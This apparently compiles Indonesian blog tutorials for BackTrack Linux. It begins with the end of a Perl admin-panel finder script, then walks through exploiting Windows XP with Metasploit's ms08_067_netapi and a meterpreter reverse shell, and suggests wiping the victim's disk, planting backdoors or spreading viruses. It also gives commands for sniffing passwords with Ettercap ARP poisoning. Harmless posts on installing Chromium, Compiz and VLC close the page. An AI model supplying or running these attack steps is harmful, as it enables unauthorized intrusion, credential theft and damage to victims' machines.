$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n"; } } kill("STOP",NULL); } ## # By GlaDiaT0R ##
jika tidak tau cara menyimpan dan menggunakannya pada backtrack ikuti perintah di bawah :

- copy script di atas..
- ketik perintah nano adminfinder.pl pada terminal / konsole
- paste scriptnya
- CTRL+X lalu Y dan tekan Enter
- chmod +x adminfinder.pl
- untuk menggunakan admin finder ./adminfinder.pl

selesai...

Selamat mencoba :D

Exploit Windows With Metasploit

Kita akan coba exploit windows xp menggunakan Metasploit yang ada di Backtrack...
Males basa basi...langsung aja hehe...

Pertama kita scan IP dan Port yang terbuka pada jaringan menggunakan nmap (sudah ada d backtrack 5),
* buka terminal ketik perintah nmap -sn 192.168.0.1-255
-sn adalah perintah nmap untuk melakukan scanning IP yang aktif / tidak..
-192.168.0.1-255 adalah IP yang akan kita scan, dari 192.168.0.1 sampai 192.168.0.255
jadi untuk IP nya di sesuaikan dengan IP anda..

*lalu jika sudah menemukan IP yang aktif kita scan Port yang terbuka pada target..contoh saya mendapakan IP 192.168.0.4 lakukab perintah nmap -f 192.168.0.4
-f adalah fast scanning sehingga nmap akan melakukan scanning secepat mungkin...
lihat hasilnya

Jelas terlihat port 445 terbuka , langsung saja buka msfconsole atau Metasploit Framework versi console..
- ketik perintah msfconsole pada terminal/console..
tunggu biasanya agak lama...
- setelah terbuka ketik search netapi dan setelah itu kita gunakan yang exploit/windows/smb/ms08_067_netapi
- ketik perintah use exploit/windows/smb/ms08_067_netapi
- ketik show options untuk melihat opsi apa yang harus kita isi..

- RHOST belum kita setting ketik RHOST dengan ip target lakukan perintah set RHOST 192.168.0.4 ( jika ip target 192.168.0.4 )
- set LHOST 192.168.0.3 ( 192.168.0.3 adalah ip saya )
- set LPORT 4444 ( port pada Backtrack )
- set PAYLOAD windows/meterpreter/reverse_tcp
- jalankan exploit dengan perintah exploit
dan hasilnya

Kita sudah masuk pada Meterpreter :D
Sekarang kita akan mengendalikan Command Prompt ( CMD ) korban , tapi sebelumnya kita lihat dulu posisi kita...

pertama kita lihat siapa kita, dengan perintah getuid, dan outputnya NT AUTHORITY\SYSTEM , tapi bagaimana jika bukan NT AUTHORITY\SYSTEM alias si korban tidak menjalankan sebagai administrator pada komputernya? kita lakukan ketik perintah getsystem , lalu cek lagi dengan perintah getuid jika sudah NT AUTHORITY\SYSTEM lanjutkan...
kita ketik perintah pwd untuk cek keberadaan kita dan pada output saya adalah C:\WINDOWS\system32 langsung ketik perintah shell untuk eksekusi CMD..dan hasilnya

tapi bagaimana jika ternyata error? tidak seperti di atas saat,error memasukan perintah shell...atau saat memasukan perintah shell tidak ke C:\Windows\system32 ???
mungkin procces dirrectory nya tidak tepat...
jika masalah seperti itu lakukan perintah migrate...kita akan berpindah..
ketik perintah ps pada meterpreter untuk melihat process ID yang ada...
setelah keluar kita  cari PID svchost.exe, jika sudah ketemu pindahlah dengan perintah migrate
contoh : migrate 1328
jika sukses, cek dengan perintah pwd , lalu jalankan perintah shell..
lihat gambar :

jika sudah berada di C:\Windows\system32> berarti masalah beres, kita lanjutkan....






Apa yang akan kita lakukan setelah kita berada pada saat sudah berada pada Metterpreter ataupun Command Prompt korban??
terserah anda..
mau Format Harddisk korban,shutdown,pasang backdoor,sebarin virus,copy data apalah terserah mau Remmote Desktop jg g ada yang larang :p

sekian , d tutorial selanjutnya mungkin akan saya bahas tentang salah satu cara diatas...

THANKS TO :  Red Dragon & Blusp10it

Sniffing Password With Ettercap

Dulu saya pernah posting cara sniffing menggunakan Cain and Able di Windows, sekarang saya share sniffing di Linux - Backtrack menggunakan Tools Ettercap...

Di Backtrack sudah ada Ettercap, tinggal digunakan aja..
kita bisa menggunakan verisi GUI atau Versi Console...
ok langsung aja ...


1. Versi  GUI

- Buka ettercap dgn cara buka terminal lalu ketik ettercap --gtk dan enter.. ( bisa jg membuka lewat menu )
- setelah muncul ettercap klik Sniff  - unnified sniffing atau tekan shift + u , lalu pilih network interfaces anda lalu ok

-klik Host - Scan for Host

- setelah melakukan scanning seperti gambar di atas  klik Host - Host list

- Sekarang lakukan ARP Poisoning klik Mitm - Arp poisoning - centang sniff remote connections - Ok

- Lalu klik Start - Start sniffing ...

tinggal tunggu saja...sampai ada username dan password seperti ini..

2. Versi Console


Sekarang Versi Console, menurut saya lebih mudah dengan cara ini...tapi sama saja kerjanya :D

- Buka Terminal
- ketik ettercap -Tqi [interfaces] -M ARP:REMOTE // //
- jika interfacesnya eth0 berarti perintahnya ettercap -Tqi eth0 -M ARP:REMOTE // //

Tunggu sampai ada yang masuk :) seperti ini...

Tinggal dipilih mana yang lebih mudah, jika ada yang kurang jelas silahkan tinggalkan pesan di komentar, saya bantu sebisa saya,, :D

Selamat Mencoba...

Cara Install Chromium (Google Chrome) di Linux dan Jalankan Dalam Mode Root di Backtrack 5

Saat ini browser yang diusung oleh Google (google chrome atau juga chromium) merupakan browser yang patut anda coba, mungkin jika anda menggunakan platform windows tidak ada hambatan untuk installasinya. dan juga sangat banyak link downloadnya bertebaran di internet, kali ini pembahasan hanya saya batasi pada proses installasi dan juga settingannya di linux, baik linux ubuntu, linux debian, linux mint dan juga backtrack 5 (di backtrack 5 perlu settingan tambahan). jika anda install pada linux ubuntu, debian, mint maupun turunan debian lainnya yang usernya bukan sebagai root. maka anda cukup menjalankan langkah satu saja, maka proses installasi selesai. dan sebetulnya ini juga berlaku untuk semua distro linux lainnya jika anda hanya install google chrome biasa. dengan memilih format package yang sesuai dengan distro anda pada cara pertama (misal deb. atau rpm).
Langkah satu
Pada langkah ini kita akan mencoba install google chrome / chromium di linux dengan dua cara, dan anda bisa pilih salah satunya. cara yang pertama dengan download dulu software google-chromenya atau langsung install melalui terminal. baik lah sangsung saja ke cara pertama.
Cara pertama :
jika anda tidak punya koneksi internet, dan hanya bisa download di warnet maka ini langkah yang bisa anda gunakan, silahkan download dulu softwarenya disini . kemudian download format package yang sesuai dengan distro anda, contoh saya menggunakan backtrack maka formatnya yang .deb. dan karena saya menggunakan backtrack 32 bit. maka download yang juga bitnya 32.
setelah itu letakkan file download tadi di desktop atau dimanapun yang mudah untuk installasinya. kemudian buka terminal di Aplication -> accessoris -> terminal kemudian ketikkan perintah berikut :

# cd Desktop //ini jika file installasinya di desktop
# sudo dpkg -i --force-depends *.deb //untuk menginstall semua file dengan extensi .deb

Note, untuk # jangan di ketik ya diterminal dan juga disebelah kanan tanda // juga ga perlu, itu hanya komentar. tunggu sebentar dan selesai, akses google chromenya di Aplication -> internet -> google chrome. sekian dulu cara pertama.
Cara Kedua :
jika laptop/komputer anda dapat terkoneksi dengan internet lebih cocok menggunakan cara kedua ini, yaitu melalui terminalnya linux, dan beberapa perintah maka akan langsung di download dan di install. caranya pertama-tama anda buka terminal dulu di Aplication -> accessoris -> terminal kemudian ketikkan perintah berikut:

# sudo add-apt-repository ppa:chromium-daily/stable //untuk menambah repository
# sudo apt-get update
# sudo apt-get install chromium-browser

tanda # tidak usah di ketik, maka proses installasi pun selesai jika tidak ada gangguan dengan koneksi internet anda, dan kode di atas merupakan perintah yang digunakan untuk installasi di distro linux turunan dari debian (ubuntu,mint,backtrack dll).
LANGKAH DUA
jika anda menggunakan distro linux yang usernya bukan root, maka langkah ini tidak perlu anda ikuti, namun ini berlaku jika distro anda menggunakan user root, misalnya secara bawaan dari distro backtrack 5 yang usernya adalah root, atau bagi anda yang sudah terbiasa dengan root, dan ingin browsing dalam user root dan memerlukan browser google chrome ini. demi alasan keamanan maka google chrome di set secara default untuk tidak bisa dijalankan dalam mode root. jika anda jalankan maka akan ada pesan error seperti gambar berikut :

Cara yang pertama agar bisa dijalankan dalam keadaan sebagai root ialah dengan merubah konfigurasi di /usr/bin dengan batuan editor dari hexedit, ini sama persis jika anda mau install vlc dalam mode root, mengenai caranya juga sama, bisa anda baca di postingan sebelumnya disini.
Cara kedua, dan ini berhasil saya lakukan di chromium yang saya install di backtrack 5 gnome. langkah-langkahnya adalah sebagai berikut :

#cd /usr/bin //masuk ke derektori bin
#sudo gedit chromium-browser //browser yang digunakan chromium
atau yang ini
#sudo gedit google-chrome //browser yang digunakan google chrome

pada jendela gedit cari kode berikut ini :
exec $LIBDIR/$APPNAME $CHROMIUM_FLAGS "$@"
dan tambahkan kode ini --user-data-dir di akhir baris tersebut, sehingga menjadi :
exec $LIBDIR/$APPNAME $CHROMIUM_FLAGS "$@" --user-data-dir
seperti gambar dibawah ini yang di cetak dengan background merah:

setelah itu save dan coba jalankan lagi chromium atau google-chromenya, jika tidak berhasil perhatikan lagi mungkin ada langkah yang salah, sekian dulu postingan kali ini. semoga bermanfaat.

Cara Install Compiz + setting Di Backtrack

Hmmmm...setelah di install compiz, ane jadi makin semanget maen BT.y..haha
secara tampilan jadi mantap..
langsung aja dah..

- pertama download dan install compiz..
   ketik perintah di terminal :

-  apt-get install compiz compiz-fusion-plugins-extra emerald simple-ccsm fusion-icon

-  setelah beres , restart dolo...

- klik System - Prefences - Appearance - pilih custom

-  lalu klik Prefences atau bisa juga di klik d bagian
   System - Prefences - Simple CompizConfig Settings Manager

    disitu silahkan edit, sedikit saran di tab animations setting begini soalnya bagus sih haha

    centang dua2nya,
    Open Window pilih explode
    Close Window pilih Burn
     Focus Window pilih Dodge
     Minimize Window pilih sidekick
itu sekedar saran aja, saya pake setingan gt , menurut saya sih mantep..

yang lainnya silahkan edit sendiri sesuai keinginan...

-   kalo udah klik tanda ceklis ..lalu close

lihat hasilnya  ( buka terminal lalu pindah2kan tempat, minimize, close )
sumber

Cara Menginstall VLC Player Di Backtrack 5

lc player adalah salah satu software entertainmen pemutar video yang sangat populer apalagi disaat kita melintasi jalan raya kita akan sering menjumpai logo dari vlc player, yang berbentuk segitiga warna orange :-) .

dan bagaimana cara installasi vlc player di backtrack, caranya
cukup mudah tapi anda harus terkoneksi terlebih dahulu dengan internet atau kebanyakan sekarang menyingkat dan menyebutnya dengan inet. setelah terhubung dengan internet masuk ke terminal
---
root@bt:# apt-get install vlc
---
nah setelah selesai installasi vlc tidak akan bisa langsung di gunakan karena program akan memunculkan pesan error pada saat di buka.
dan untuk mengatasi pesan error tersebut pertama anda harus menggunakan fitur hexedit dengan cara
---
root@bt:# hexedit /usr/bin/vlc
---
kemudian tekan TAB lalu tekan ctrl + s untuk search . ketikan geteuid , kemudian ganti kata itu dengan getppid . untuk menyimpan , tekan ctrl + x, lalu tekan huruf "y" , kemudian enter.